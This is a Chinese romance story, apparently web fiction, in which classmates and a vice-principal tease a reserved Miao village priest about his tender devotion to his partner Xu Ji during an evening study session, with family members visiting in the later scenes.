晚自习的月光漫过窗棂，淌在摊开的苗绣图谱和习题册上，教室里只剩笔尖划过纸页的沙沙声，和偶尔响起的、刻意压低的聊天声。
李沐阳抱着胳膊倚在讲台边，目光落在角落那个捧着古籍的身影上，嘴角噙着点笑意，声音压得刚好能让前排几个学生听见：“说真的，你们不觉得沈司南这人，怪得很吗？”
正低头抄寨规的王翠花笔尖一顿，立刻凑过耳朵，连旁边的赵铁锤都悄悄把课本竖起来，挡着脸当屏风。
“他可是咱们寨的祭祀，”李沐阳用粉笔头轻轻点了点黑板，眼神往角落飘，“平日里在祭祀殿，那叫一个肃穆，焚香祭祖的时候，连寨老说话都得客客气气的，咱们哪个小子没被他逮着训过？就上次，我瞧见他罚偷摘祭坛供果的小子抄十遍寨规，脸板得跟块冰似的，半点情面都不讲。”
他话音刚落，后排的苏招就忍不住接话，声音细得像蚊子哼：“李老师，我见过他不一样的样子！”
这话一出，周围几个脑袋立刻凑得更近了，闷笑的气息在空气里飘着。
“上周三，我去后山采草药，撞见沈司南和许祭了，”苏招攥着笔杆，眼底闪着八卦的光，“许祭蹲在地上看蝴蝶，沈司南就站在旁边等着，手里还拎着许祭的书包，书包带子上挂着个歪歪扭扭的小银铃，还是许祭上次缠着银匠阿公打的。你们猜怎么着？许祭扑蝴蝶摔了个屁股墩，沈司南居然笑了！我长这么大，头一回见他笑！”
“我也我也！”王翠花赶紧抢话，怕错过了显摆的机会，“前天苗绣课，许祭绣错了凤凰的尾巴，急得眼圈都红了，沈司南刚好来送祭祀用的彩线，居然蹲下来帮他拆丝线！他手指那么长，捏着绣花针，一针一线的，比阿婆还耐心！换作是我，他早把我的绷子扔出去了！”
赵铁锤跟着点头，憋笑憋得肩膀直抖：“还有还有，昨天我看见沈司南去小卖部，买了三袋桂花糖！全是许祭爱吃的那种，他自己从来不吃甜的！你们说，这不是偏心是什么？”
细碎的议论声像风里的竹叶，沙沙地响。角落里的沈司南仿佛没听见，依旧垂着眼帘翻着古籍，只是搁在桌下的手，悄悄勾住了许祭的指尖。许祭正低头算着苗历的节气，指尖被勾住的瞬间，身子轻轻一颤，耳根唰地红透了，连握着笔的手都慢了半拍。
李沐阳看得清楚，忍不住摇了摇头，故意提高了点声音：“你们说，这沈司南啊，对着许祭，哪还有半点祭祀的样子？分明就是……”
“分明就是疼他。”
沈司南忽然抬眼，声音不高，却清晰地传遍了整个教室。
瞬间，满室的窃窃私语戛然而止，所有的目光都齐刷刷地投向角落。月光落在沈司南的侧脸，他握着许祭的手，指尖轻轻摩挲着许祭的指节，眼底的温柔，比窗外的月色还要浓。
许祭的脸彻底红透了，恨不得把头埋进习题册里，却被沈司南轻轻捏了捏指尖。
李沐阳挑了挑眉，没再说话，只是转身拿起粉笔，在黑板上写下晚自习的作业，嘴角的笑意，却怎么也压不下去。
后排的苏招和王翠花对视一眼，赶紧低下头，在草稿纸上偷偷写：【锁死！钥匙我吞了！】
月光越发明亮，淌过沈司南颈间的银坠，淌过许祭泛红的耳根，淌过满教室悄悄憋着的笑意，温柔得不像话。
晚自习的灯管嗡嗡作响，白晃晃的光把县城中学的教室照得透亮，窗外是远处街道的零星灯火，混着夏末的蝉鸣，飘进窗缝里。
李沐阳把教案往讲台上一放，双手撑着桌沿，扫过底下一群埋着头刷题的学生，忽然扬声：“停笔停笔，今儿个不搞题海战术了，咱们聊个轻松的——你们觉得，什么是爱？”
教室里静了半秒，随即炸开了锅，后排几个男生率先吹了声口哨，被李沐阳一个眼刀扫过去，立刻噤声，却还是忍不住咧嘴笑。
前排的王翠花红着脸，笔尖在草稿纸上画圈圈，声音细弱蚊蝇：“我觉得……爱就是我妈每天早上五点起来给我煮的鸡蛋，明明自己舍不得吃，却总说她不爱吃蛋黄。”
“太土了太土了！”后排的赵铁锤拍着桌子起哄，引来一片低笑，“爱就得是那种，逃课去给她买校门口的烤红薯，冬天揣在怀里捂热乎了，再偷偷塞给她的心动！”
“拉倒吧你，”苏招翻了个白眼，胳膊肘捅了捅同桌，眼神却忍不住往教室最后排飘，“我觉得啊，爱就是……有人明明是全校闻名的‘高冷学神’，对谁都爱答不理，偏偏愿意给后座的人讲一整晚的数学题，连笔芯都替他削好了。”
这话一出，教室里的目光齐刷刷地投向角落。沈司南正垂着眼，指尖捏着笔，在许祭的练习册上写写画画，他是苗寨来的借读生，还是寨里的祭祀，平时话少得很，偏偏对许祭格外有耐心。许祭歪着头，手里攥着颗橘子味的硬糖，听得认真，嘴角沾了点糖渣，沈司南抬手，用指腹轻轻替他擦掉，动作自然得不像话。
“卧槽！”赵铁锤压低声音，激动地拍桌，“我作证！上次月考完，许祭没考好蹲在操场哭，沈司南就陪他蹲了一节课，手里还拎着许祭最爱喝的草莓味奶茶，自己淋了半节课的雨！”
“还有呢！”王翠花也来了劲，忘了害羞，“上周运动会，许祭跑八百米崴了脚，沈司南直接把人背起来往医务室冲，那可是当着全校的面！他平时连跟女生说话都嫌麻烦，结果背许祭的时候，步子稳得很！”
“而且你们发现没，”靠窗的男生推了推眼镜，神神秘秘地开口，“沈司南的书包里，永远放着许祭爱吃的糖，还有创可贴、风油精，全是给许祭准备的！他自己都不用这些东西！”
“最离谱的是，”苏招补了一句，眼神里满是揶揄，冲周围的同学挤眉弄眼，“沈祭祀居然在这儿说说说聊聊天，换平时，他早就抱着那本苗语古籍啃起来了！”
细碎的议论声像潮水似的漫过教室，灯管的嗡嗡声都被盖了过去。李沐阳靠在讲台上，看着角落里的两人——许祭大概是听见了什么，耳根红得透亮，偷偷捏了捏沈司南的手腕，沈司南低头，眼底的笑意藏都藏不住，反手握住了他的手，攥在桌下。
李沐阳笑了笑，拿起粉笔，在黑板上写下一行字：爱是藏在细节里的偏爱，是心甘情愿的例外。
窗外的蝉鸣渐渐歇了，远处的路灯亮得温柔，教室里的光影落在两人交握的手上，安静又美好。
李沐阳抬手压了压教室里渐渐高起来的议论声，指尖在黑板上“爱”字旁边敲了敲，嘴角噙着点意味深长的笑：“错了，你们刚才说的那些，是爱情，不是爱。”
这话一出，教室里瞬间安静下来，几十双眼睛齐刷刷地看向他，满是疑惑。
前排的王翠花率先举手，声音里带着点不解：“李副校长，爱情和爱……不都是一样的吗？”
“就是啊，”赵铁锤也跟着附和，挠了挠头，“难道不是一回事儿？”
李沐阳放下手，缓步走下讲台，目光扫过教室最后排相视而笑的两人，又转回来看着满教室的学生，声音温和却带着点笃定：“爱很宽泛，是你妈凌晨五点煮的鸡蛋，是你爸雨天校门口撑着的伞，是朋友替你两肋插刀的义气，是陌生人递过来的一把伞。它藏在生活的角角落落，坦荡又直白，是所有人都能拥有的温暖。”
他顿了顿，走到窗边，推开一条缝，晚风带着县城街道的烟火气飘进来，拂过满教室年轻的脸庞。
“但爱情不一样。”李沐阳的目光落在沈司南和许祭交握的手上，笑意更深了些，“爱情是偏爱，是例外，是沈司南宁愿放下手里的苗语古籍，陪许祭聊一整晚的废话；是他书包里永远备着的橘子糖，是他宁愿淋雨也要给许祭买的草莓奶茶；是别人碰一下都觉得抢的小心翼翼，是眼里心里，只装得下一个人的满心欢喜。”
“它很小，小到只能容下两个人，”李沐阳转过身，看着满教室恍然大悟的脸，抬手指了指黑板上的字，“爱包罗万象，可爱情，是独一份的心动。”
话音落下的瞬间，教室里静了几秒，随即爆发出一阵低低的哄笑，还有人偷偷鼓起了掌。
许祭的耳根红得透亮，把头埋进了臂弯里，沈司南低头，在他耳边轻轻说了句什么，惹得许祭抬手轻轻捶了他一下，嘴角却忍不住弯起了好看的弧度。
李沐阳的话音刚落，教室里还飘着几声低低的感叹，角落忽然传来一句清清淡淡的声音。
“李沐阳，不是说聊天吗，怎么开始讲道理了？”
是沈司南。
他终于舍得从许祭的练习册上移开目光，抬眼看向讲台，眉梢挑着点似笑非笑的弧度，搁在桌下的手还牵着许祭的，指尖轻轻摩挲着对方的指节。许祭原本埋在臂弯里，听见这话，忍不住闷笑出声，肩膀轻轻抖着，连带着沈司南的胳膊也晃了晃。
教室里瞬间炸开了锅。
赵铁锤第一个拍着桌子笑出声，差点把桌上的练习册掀翻：“哈哈哈！沈祭司一语中的！李副校长你犯规了啊！”
“就是就是！”苏招跟着起哄，手里的笔都差点甩出去，“说好的闲聊，怎么变成公开课了！”
王翠花也红着脸笑，笔尖在草稿纸上画了个歪歪扭扭的爱心，小声嘀咕：“李副校长被抓包了吧！”
后排几个男生更是吹起了口哨，此起彼伏的笑声混着灯管的嗡嗡声，把县城中学的晚自习搅得热热闹闹。
李沐阳愣了一下，随即失笑，拿起粉笔头往沈司南的方向虚点了两下：“你小子，还学会拆台了。行，算我犯规。”他顿了顿，又故意扬高了声音，“不过我说的道理，你敢说不对？”
沈司南没说话，只是低头看向怀里的人，眼底的温柔漫出来，快要溢满整个角落。许祭抬头瞪了他一眼，眼底却盛着笑意，伸手掐了掐他的手腕，声音轻得像羽毛：“都怪你。”
“嗯，怪我。”沈司南低笑，反手把人攥得更紧。
窗外的晚风卷着街道的烟火气，蝉鸣渐渐淡了，远处的路灯亮得温柔，教室里的笑声裹着少年心事，漫过一页页写满公式的练习册，漫过两人交握的手，漫过这个蝉鸣不止的夏末。
李沐阳挑眉，粉笔头在指尖转了个圈，目光精准地锁定角落里的两人，语气里满是促狭：“行，不聊大道理了。那我来说说，沈祭祀的痛怎么样？”
这话一出，教室里瞬间安静了半秒，随即爆发出更响亮的哄笑，连灯管的嗡嗡声都被盖了过去。
赵铁锤直接拍着桌子站起来，又被李沐阳一个眼刀扫得讪讪坐下，却还是梗着脖子喊：“李副校长！我要听！我早就好奇了！沈祭司看着冷冰冰的，能有什么痛啊？”
“还能有什么痛？”苏招挤眉弄眼，手肘撞了撞同桌，目光在沈司南和许祭之间来回打转，“肯定是心上人不理他的痛啊！你想啊，沈祭司那么高冷，偏偏对许祭束手无策，许祭要是闹点小脾气，他不得抓心挠肝的？”
“有道理有道理！”王翠花连连点头，眼睛亮晶晶的，“上次许祭跟隔壁班同学去看电影，没叫沈司南，我看见沈司南在操场蹲了一整个晚自习，那脸色，黑得跟锅底似的！现在想想，那就是痛啊！”
“不止！”靠窗的男生推了推眼镜，故作高深地开口，“还有那种‘想把人藏起来，又怕他不开心’的痛！沈祭司每次看着许祭跟别人笑，眼神都黏在许祭身上，那叫一个纠结！”
议论声越来越大，连后排最安静的女生都忍不住加入战局，叽叽喳喳的声音里，满是看热闹的兴奋。
沈司南的脸没红，只是耳尖微微泛起一点薄红，他低头看了眼怀里憋笑憋得肩膀发抖的许祭，伸手捏了捏他的后颈，声音不大，却清晰地传遍教室：“李沐阳，再乱说，下次祭祀大典，我建议寨老让你去守祭坛。”
守祭坛要通宵，还要对着一堆枯燥的祭品念祷文，是寨里公认的苦差事。
李沐阳立刻举手投降，笑得眉眼弯弯：“别别别！我错了！沈大祭司饶命！”
教室里的笑声更响了，窗外的晚风卷着夏末的余温，吹得人心里暖洋洋的。
晚自习的喧闹渐渐沉下去，灯管的嗡鸣在安静里格外清晰。李沐阳靠在讲台边，指尖无意识地摩挲着半截粉笔，目光飘向窗外县城的灯火，忽然轻声开口，语气里带着点说不清道不明的怅然：“我以前啊，也喜欢过一个苗寨的少年。”
这话一出，教室里瞬间静得落针可闻，几十双眼睛齐刷刷地黏在他身上，连呼吸都放轻了。
“他会笑，会哭，眉眼亮得像后山的星星。”李沐阳笑了笑，眼底闪过一丝怀念，“那时候我去苗寨支教，他总跟在我身后，摘野枇杷给我吃，教我唱苗歌，还偷偷带我去看祭祀前的篝火彩排。”
“可惜了。”
他轻轻吐出这三个字，尾音淡得像风里的烟。
教室里短暂的寂静后，立刻涌起一阵细碎的议论声。
赵铁锤往前探着身子，胳膊肘撞了撞同桌，声音压得极低：“卧槽！李副校长居然还有这故事？没听他说过啊！”
“苗寨的少年……”苏招托着下巴，眼神里满是好奇，“是因为什么可惜了？不会是……家里不同意吧？我听我奶奶说，以前苗寨的规矩可多了。”
王翠花咬着笔杆，眉头皱了起来：“肯定是这样！不然好好的，怎么会说可惜？李副校长那眼神，看着都难过。”
靠窗的男生推了推眼镜，压低声音分析：“说不定是后来分开了，一个在县城，一个在苗寨，山高路远的，慢慢就断了联系。你们想啊，那时候交通多不方便。”
议论声越来越轻，带着点少年人不懂的怅惘。有人偷偷看向沈司南，见他垂着眼，指尖轻轻勾着许祭的手指，许祭偏过头，用额头蹭了蹭他的手背，像是在无声地安慰。
李沐阳没再往下说，只是把粉笔搁回粉笔盒，抬手揉了揉眉心，再抬眼时，眼底的怀念已经藏了起来，又变回了那个带着点促狭的副校长：“好了，八卦听完了，都给我刷题！下次月考考不好，全部罚抄寨规——哦不对，是罚抄试卷！”
教室里爆发出一阵哄笑，刚才那点淡淡的怅然被笑声冲散，只有窗外的晚风，还带着点苗寨山林的清冽气息，悄悄溜进窗缝里。
寂静还没在教室里漫开多久，角落忽然传来一声淡淡的话音，带着点少年人特有的笃定和揶揄。
“那个少年，是我的手下败将，余弦。”
是沈司南。
他指尖还勾着许祭的手指，抬眼看向讲台时，眉梢挑着点似有若无的笑意，语气平淡，却足够让满教室的人都听得一清二楚。
这下，教室里是真的炸开了锅。
赵铁锤差点从椅子上弹起来，嗓门压得再低也掩不住兴奋：“卧槽！余弦？是不是那个苗寨里最会唱苗歌的？我爸去过苗寨，说他当年可是寨里的风云人物！”
“手下败将？什么情况什么情况？”苏招扒着同桌的胳膊，眼睛瞪得溜圆，“沈祭司跟他比过什么？不会是比祭祀的本事吧？”
王翠花也来了劲，笔尖在草稿纸上飞快地划着，声音里满是八卦的热切：“我知道我知道！听我奶奶说，以前苗寨选祭祀的时候，有过一场比试！难不成就是他俩比的？”
“肯定是！”靠窗的男生推了推眼镜，一脸了然，“不然沈祭司怎么会说他是手下败将？而且听这语气，当年的比试肯定很精彩！”
议论声越来越响，连后排几个不爱凑热闹的女生都忍不住凑在一起小声嘀咕。
“怪不得李副校长刚才那表情，合着他喜欢的人，还跟沈祭司有过渊源啊！”
“你们说，余弦当年输了比试，是不是就离开苗寨了？不然怎么这么多年都没听过他的消息？”
“沈祭司也太低调了吧！这么牛的事，居然从来没跟我们提过！”
李沐阳站在讲台上，先是愣了几秒，随即失笑，拿起粉笔头往沈司南的方向虚点了两下：“你这小子，哪壶不开提哪壶。”
沈司南没接话，只是低头看向怀里的人。许祭正仰头看他，眼底盛着笑意，伸手捏了捏他的掌心，用只有两人能听见的声音问：“当年你赢了什么？”
沈司南的指尖轻轻摩挲着他的指节，眼底的笑意漫开来：“赢了，守着苗寨的资格。”
李沐阳挑了挑眉，眼底漾开一抹哭笑不得的神色，慢悠悠地接话：“沈司南，你知道吗，他因为输了，转头就揣着攒了大半辈子的银饰，跑去曼谷，嫁给了别人。”
这话像颗石子，瞬间在教室里激起千层浪，压抑的惊呼和偷笑声差点掀翻屋顶。
赵铁锤拍着大腿，笑得差点从椅子上滑下去，压着嗓子嚷嚷：“卧槽！这剧情也太劲爆了吧！输了比试，直接远走高飞嫁去国外？余弦哥可以啊！”
苏招捂着嘴，肩膀抖得厉害，眼睛里满是八卦的光：“怪不得这么多年没消息，原来跑去曼谷了！沈祭司，你当年是不是把人虐得太狠了？人家直接换个赛道过日子！”
王翠花咬着笔杆，笑得脸颊通红，偷偷瞄了眼沈司南：“我就说余弦看着不像会认输的人，结果居然这么潇洒！嫁给别人……是嫁了个什么样的啊？”
靠窗的男生推了推眼镜，一本正经地分析，惹得周围人憋笑憋得肚子疼：“这叫什么？输了祭祀之位，赢了人生幸福！沈祭司，你这手下败将，可比你会享受啊！”
议论声里满是戏谑的笑意，连前排几个安静的女生都凑在一起，捂着嘴交换眼神。大家都不约而同地看向沈司南，等着看这位一向冷静自持的祭祀是什么反应。
沈司南先是愣了愣，随即低笑出声，胸腔的震动透过相握的手传到许祭掌心。他无奈地摇了摇头，看向李沐阳的眼神里带着点无奈：“他从小就这样，输不起，又爱折腾。”
许祭仰头看他，忍不住弯起嘴角，指尖轻轻挠了挠他的掌心：“原来你还有这么幼稚的一面。”
沈司南低头，在他发顶落下一个轻吻，眼底的温柔漫过眉梢：“只对你幼稚。”
旁边的笑声更响了，李沐阳靠在讲台上，看着这一幕，嘴角的笑意里，藏着几分释然的温柔。
李沐阳忽然低笑出声，眉眼弯起，带着几分揶揄又释然的味道，扬声补了句：“不过啊，我后来娶了他的姐姐，余淮，现在日子过得也很开心啊。”
这话一出，教室里直接炸开了锅，压抑的偷笑声瞬间变成了明目张胆的哄笑，连灯管的嗡嗡声都盖不住。
赵铁锤拍着桌子笑得直打嗝，差点把桌上的练习册拍掉地上：“卧槽！这什么神仙剧情！李副校长你可以啊！输了弟弟娶了姐姐！这波血赚不亏啊！”
苏招捂着肚子，笑得眼泪都快出来了，手肘狠狠撞了撞同桌，声音里满是八卦的兴奋：“怪不得！怪不得李副校长对苗寨这么熟！原来还是亲戚啊！沈祭司，你这下辈分是不是得喊李副校长一声姐夫了？”
王翠花咬着笔杆，脸颊笑得通红，笔尖在草稿纸上画了个乱七八糟的爱心，跟着起哄：“余弦跑去曼谷嫁人，李副校长娶了他姐姐，这剧情比电视剧还好看！沈祭司，当年比试的时候，你是不是没想到还有这一出啊？”
靠窗的男生推了推下滑的眼镜，一本正经地总结，惹得周围人笑得更凶了：“这就叫，山不转水转，兜兜转转都是一家人！沈祭司，以后去苗寨，可得喊李副校长一声姐夫了啊！”
满教室的调侃声此起彼伏，连后排几个平时闷不吭声的学生都忍不住跟着笑，目光在李沐阳和沈司南之间来回打转，带着看热闹不嫌事大的热切。
沈司南先是愣了愣，随即无奈地摇了摇头，眼底漾开淡淡的笑意，低头看向怀里笑得肩膀发抖的许祭，指尖轻轻刮了刮他的鼻尖：“这群人，越来越没规矩了。”
许祭仰头看他，眼底盛着细碎的笑意，伸手勾住他的手指，声音里带着笑音：“那你要不要喊一声姐夫听听？”
沈司南低笑出声，俯身凑近他的耳边，用只有两人能听见的声音说：“喊什么姐夫，喊……”
后半句话被晚风卷走，只剩下许祭瞬间红透的耳根，和教室里经久不息的笑声，裹着夏末的晚风，温柔又热闹。
李沐阳挑眉，从口袋里摸出手机晃了晃，嘴角的笑意更浓了几分：“余淮啊，长得可漂亮了，眉眼跟余弦有几分像，却比他温婉多了，你们想不想见见？”
这话刚落，教室里的议论声瞬间拔高了八度，连带着空气里都飘着兴奋的味道。
赵铁锤第一个举手，胳膊肘都快戳到前排同学的后背了，扯着嗓子喊：“想！当然想！李副校长快翻照片！让我们看看嫂子长什么样！”
苏招也跟着起哄，手指在屏幕上飞快地戳着，像是在催着李沐阳赶紧解锁手机：“必须见啊！能让李副校长惦记这么多年的人，肯定是大美女！沈祭司，你肯定见过吧？是不是真的超好看？”
王翠花捂着脸颊，眼睛亮晶晶的，声音里满是期待：“我想象不出来，余弦哥那么跳脱的性子，他姐姐居然是温婉挂的！快给我们看看照片，满足一下我们的好奇心！”
靠窗的男生推了推眼镜，故作深沉地接话，惹得周围人一阵哄笑：“我猜啊，余淮姐肯定是那种穿着苗绣衣裳，梳着麻花辫，笑起来眼睛弯弯的样子！李副校长，你可别藏着掖着了！”
满教室的起哄声里，连后排几个女生都凑在一起，叽叽喳喳地讨论着苗寨姑娘的模样。大家的目光齐刷刷地黏在李沐阳的手机上，连沈司南都被这阵仗逗笑了，低头捏了捏许祭泛红的耳垂，眼底满是无奈的纵容。
李沐阳被吵得没办法，笑着摇了摇头，手指在屏幕上点了几下，随即把手机举起来，对着满教室的学生晃了晃：“喏，就长这样——”
李沐阳把手机屏幕转向众人，指尖点了点照片上的人，笑得一脸得意：“喏，这就是余淮。”
教室里瞬间安静了半秒，随即爆发出惊天动地的哄笑声，连值班老师路过窗外，都忍不住往里瞥了两眼。
赵铁锤笑得直拍桌子，眼泪都快飙出来了，捂着肚子喊：“卧槽！李副校长你这审美！也太独特了吧！这哪是温婉，这明明是豪放派啊！”
苏招笑得直打嗝，手指着照片上余淮爽朗的大嗓门模样，憋笑道：“怪不得……怪不得余弦跑曼谷去了，这姐弟俩的画风，差得也太远了吧！”
王翠花咬着嘴唇，肩膀抖得厉害，偷偷瞄了眼李沐阳，又赶紧低下头，生怕被他看见自己憋笑的样子：“跟想象中的苗寨美女……完全不一样啊！不过看着好亲切！”
靠窗的男生推了推眼镜，一本正经地补充，惹得全班笑翻：“这叫反差美！李副校长这是真爱啊！不看颜值看灵魂！”
议论声和笑声混在一起，差点掀翻教室的屋顶。沈司南也忍不住勾了勾唇角，低头看向怀里笑到发抖的许祭，指尖轻轻擦过他泛红的眼角：“笑慢点，小心呛着。”
李沐阳佯怒地瞪了起哄的学生一眼，把手机揣回兜里，嘴角却藏不住笑意：“笑什么笑！我家余淮这叫英气！比那些娇滴滴的小姑娘耐看多了！”
这话一出，笑声更响了，窗外的晚风卷着夏末的蝉鸣，裹着满教室的热闹，飘向了远处的灯火里。
李沐阳气得笑出声，手指飞快地在手机里翻找，嘴里还不忘反驳：“懂什么叫耐看？什么叫人不可貌相？看好了！”
说着，他把手机重新举起来，这次的照片里，余淮穿着一身靛蓝的苗绣盛装，衣襟上绣着缠枝莲纹，袖口滚着细密的银边，头上戴着沉甸甸的银冠，银饰垂下来，随着动作轻轻晃动，叮当作响。她站在苗寨的吊脚楼前，身后是层层叠叠的青山，阳光落在她脸上，眉眼舒展，笑容爽朗又明媚，竟透着一股说不出的英气与温婉交织的韵味。
教室里的哄笑声戛然而止，静得能听见窗外的蝉鸣。
赵铁锤的嘴巴张成了“O”形，半晌才憋出一句：“我靠……这、这是同一个人？”
苏招也看直了眼，戳了戳同桌的胳膊，声音都有点结巴：“真、真好看啊……这苗装一穿，气质完全不一样了！”
王翠花捂着胸口，眼睛亮晶晶的：“原来这就是苗寨姑娘的盛装啊！也太惊艳了吧！银饰闪闪发光的，好漂亮！”
靠窗的男生推了推眼镜，一本正经地总结：“果然，人靠衣装马靠鞍！余淮姐这一身，简直就是从山水里走出来的苗寨阿妹！李副校长，你眼光可以啊！”
议论声又响起来，这次却满是赞叹。沈司南也抬眼瞥了一下，眼底闪过一丝笑意，低声对许祭说：“余淮姐穿苗装，一直都这么好看。”
许祭点点头，看着照片里的人，忍不住弯起嘴角：“真的很好看，银饰和衣服好配。”
李沐阳得意地扬了扬下巴，把手机揣回兜里，挑眉看向起哄的学生：“怎么样？我说的没错吧？我家余淮，可是咱们苗寨最好看的姑娘！”
教室里响起一片哄笑和附和声，晚风从窗缝溜进来，带着点苗寨山林的清冽气息，也带着满室的热闹与温柔。
窗外的蝉鸣忽然被一阵清脆的喊声截断，教室后门的帘子被人掀开，一个穿着靛蓝短褂、梳着双丫髻的苗寨姑娘快步跑进来，辫梢上的银铃叮当作响。
她一眼就瞧见了角落里的两人，眼睛亮得像山涧的星星，扬着嗓子喊：“司南阿哥，嫂嫂，你们来了！”
这一声喊得响亮，满教室的目光“唰”地一下全聚了过去，连李沐阳都转过身，笑着朝姑娘招手。
沈司南闻声抬头，眉眼瞬间柔和下来，朝她点了点头：“怎么跑这儿来了？”
许祭的脸“腾”地红透了，耳根烫得能煎鸡蛋，下意识地往沈司南身后缩了缩，手指却被沈司南攥得更紧。
姑娘几步跑到桌前，手里还拎着个竹编小篮，篮里铺着翠绿的粽叶，露出几颗圆滚滚的糯米糍。她熟稔地把篮子往桌上一放，眨着眼睛冲许祭笑：“嫂嫂，我娘让我给你带的红糖糯米糍，你上次说爱吃的。”
话音未落，教室里又是一阵低低的哄笑，赵铁锤带头吹了声口哨，苏招更是拍着桌子喊：“嫂嫂！喊得好！”
颜染立刻扑到许祭胳膊上，脑袋蹭着他的袖子晃了晃，声音软得像山涧的泉水，带着点撒娇的鼻音：“嫂嫂，你最好了，司南阿哥要让我抄寨规，我不想抄，好不好嘛，求求你了，拜托拜托。”
她一边说，一边还偷偷抬眼瞄了瞄沈司南，见他脸色没松，又把许祭的胳膊晃得更厉害了，辫梢的银铃叮铃哐啷响个不停。
教室里的议论声和偷笑声一下子就冒了出来，赵铁锤憋笑憋得肩膀直抖，跟旁边的苏招挤眉弄眼：“好家伙，沈祭司也有治不了的人！还得是嫂嫂出马！”
苏招捂着嘴，眼睛弯成了月牙：“这小姑娘也太会了吧！找许祭当救兵，抓准了沈司南的软肋啊！”
王翠花也跟着小声嘀咕：“寨规那么长，抄一遍得累惨，换我我也不想抄！嫂嫂快帮帮她！”
靠窗的男生推了推眼镜，一本正经地总结：“这就叫一物降一物，沈祭司再厉害，也架不住嫂嫂开口啊！”
满教室的目光都黏在许祭身上，等着看他怎么回应。沈司南无奈地敲了敲桌沿，眼底却藏着笑意，捏了捏许祭的掌心：“别听她的，上次偷偷把祭坛的香灰混进糯米糍里，还没罚够。”
许祭被颜染晃得胳膊发麻，又听见满教室的哄笑声，索性转过头，伸手捏了捏沈司南的脸颊，故意板着脸，尾音却带着点笑意：“沈司南，我生气了哦，还让不让她抄了？”
他的指尖带着微凉的温度，轻轻蹭过沈司南的下颌线。沈司南原本还绷着的脸，瞬间就软了下来，无奈地叹了口气，伸手把许祭作乱的手指攥进掌心，指尖轻轻摩挲着他的指腹。
“不抄了。”沈司南的声音里带着纵容的笑意，转头瞪了颜染一眼，“下次再敢胡闹，就算你嫂嫂求情也没用。”
颜染立刻欢呼一声，扑过来抱住许祭的胳膊，笑得眉眼弯弯：“嫂嫂你太厉害啦！”
教室里的哄笑声更响了，赵铁锤吹了声口哨，苏招跟着起哄：“嫂嫂威武！沈祭司秒怂！”
李沐阳靠在讲台上，看着这一幕笑得直摇头，故意拉长了语调感慨：“可惜了，我不是天天都有嫂嫂，不然啊，多少抄寨规的活儿都能免了！”
这话一出，教室里的笑声直接掀翻了屋顶。赵铁锤拍着桌子笑得直跺脚，连眼泪都笑出来了：“李副校长你这是羡慕嫉妒恨啊！”苏招捂着肚子，一边笑一边喊：“要不等下次，让沈祭司也认你当弟弟！”王翠花更是笑得趴在桌上，笔尖都在草稿纸上画出了歪歪扭扭的线。
满教室的喧闹里，许祭的脸又红了几分，伸手轻轻掐了下沈司南的腰。沈司南低笑着捉住他的手腕，眼底的温柔快要溢出来，对着李沐阳挑眉：“羡慕？也让余淮姐管管你。”
教室后门的帘子又被人掀了起来，这次进来的是个穿着素色棉麻长裙的女人，头发松松挽成髻，簪着支银簪，眉眼间带着点爽朗的笑意，正是余淮。她手里拎着个布包，冲李沐阳扬了扬下巴：“喊你回家吃饭，磨磨蹭蹭的。”
教室里的笑声瞬间停了，随即爆发出更热烈的议论声，比刚才任何一次都要响亮。
“卧槽！这就是余淮姐吧！比照片上还好看！这气质绝了！”赵铁锤扒着桌子站起来，眼睛瞪得溜圆。
苏招拽着同桌的袖子，声音都有点发颤：“果然人靠衣装！刚才看的照片根本没拍出她的韵味！这银簪也太衬她了吧！”
王翠花捂着脸颊，眼睛亮晶晶的：“她笑起来好温柔啊！跟李副校长站在一起，也太般配了吧！”
靠窗的男生推了推眼镜，一本正经地分析：“这就是所谓的温婉又英气吧！苗寨姑娘的气质果然不一样！李副校长好福气！”
议论声里，李沐阳已经笑着迎了上去，伸手接过她手里的布包，语气里满是无奈：“跟这群孩子聊得起劲，忘了时间。”
余淮瞥了眼满教室探头探脑的学生，又看了看角落里的沈司南和许祭，笑着眨了眨眼：“我还以为你又在讲你当年那点事儿呢。”
余淮迈步走到教室中间，目光先落在沈司南和许祭身上，眉眼弯起，落落大方地开口：“祭祀大人好，嫂子好。” 说完，她转头看向李沐阳，伸手轻轻戳了戳他的胳膊，语气带着点嗔怪，“李沐阳，你没有惹事吧？”
这话一出，教室里又炸开了锅，议论声混着偷笑声此起彼伏。
“哈哈哈！李副校长也有被管着的时候！这家庭地位一目了然啊！”赵铁锤拍着桌子起哄，笑得前仰后合。
苏招捂着嘴，眼睛弯成了月牙，跟同桌小声嘀咕：“余淮姐也太飒了吧！一句话就拿捏住李副校长了！”
王翠花咬着笔杆，脸颊通红，偷偷瞄着两人互动，忍不住感慨：“他们俩的相处模式也太甜了吧！跟小情侣似的！”
靠窗的男生推了推眼镜，一本正经地总结：“这就是一物降一物！李副校长刚才还调侃别人，这下轮到自己被点名了！”
李沐阳被说得有点不好意思，伸手挠了挠头，对着余淮嘿嘿一笑：“哪能啊，我跟孩子们聊得正开心呢。”
沈司南看着这一幕，眼底也漾开淡淡的笑意，低头捏了捏许祭的掌心。许祭忍不住弯起嘴角，转头看向窗外，夏末的晚风卷着灯火的暖意，悄悄溜进了教室。
颜染眼睛一亮，立刻从竹篮里翻出个巴掌大的小绣帕，三步并作两步跑到余淮身边，拽着她的袖子晃了晃：“淮姨淮姨，你快看我新绣的缠枝莲！你教我的针法，我终于绣好看了！”
绣帕是天青色的底，上面的缠枝莲用金线勾边，粉白的花瓣层层叠叠，连叶脉都绣得根根分明，透着股灵动的劲儿。余淮接过绣帕，指尖拂过细密的针脚，眼底满是赞许：“不错不错，比上次绣的好多了，针脚稳了，配色也顺眼。”
这话一出，教室里的学生们都好奇地围了过来，挤在两人身边探头探脑。
“哇！这也太好看了吧！跟画出来的一样！”王翠花伸长脖子，眼睛瞪得溜圆。
赵铁锤也凑了过来，挠了挠头，一脸佩服：“这么细的针脚，我看都看花了，你居然能绣出来！”
苏招伸手轻轻碰了碰绣帕上的金线，忍不住感慨：“这就是苗绣吗？也太精致了吧！比我买的那些十字绣好看一百倍！”
靠窗的男生推了推眼镜，指着花瓣上的纹路分析：“这针法看着不简单，应该是苗绣里的平绣吧？配色还挺讲究的。”
一时间，议论声和赞叹声混在一起，颜染被夸得脸颊通红，却还是得意地扬着下巴，偷偷瞄了眼沈司南，像是在等着他夸两句。沈司南无奈地摇了摇头，嘴角却弯起一抹浅浅的弧度。
余淮指尖还捏着那块绣帕，抬眼看向沈司南，嘴角勾起一抹促狭的笑：“你们知道吗？祭祀大人平常特别冷，像冰块一样，在寨子里的时候，小娃娃见了他都要绕着走。”
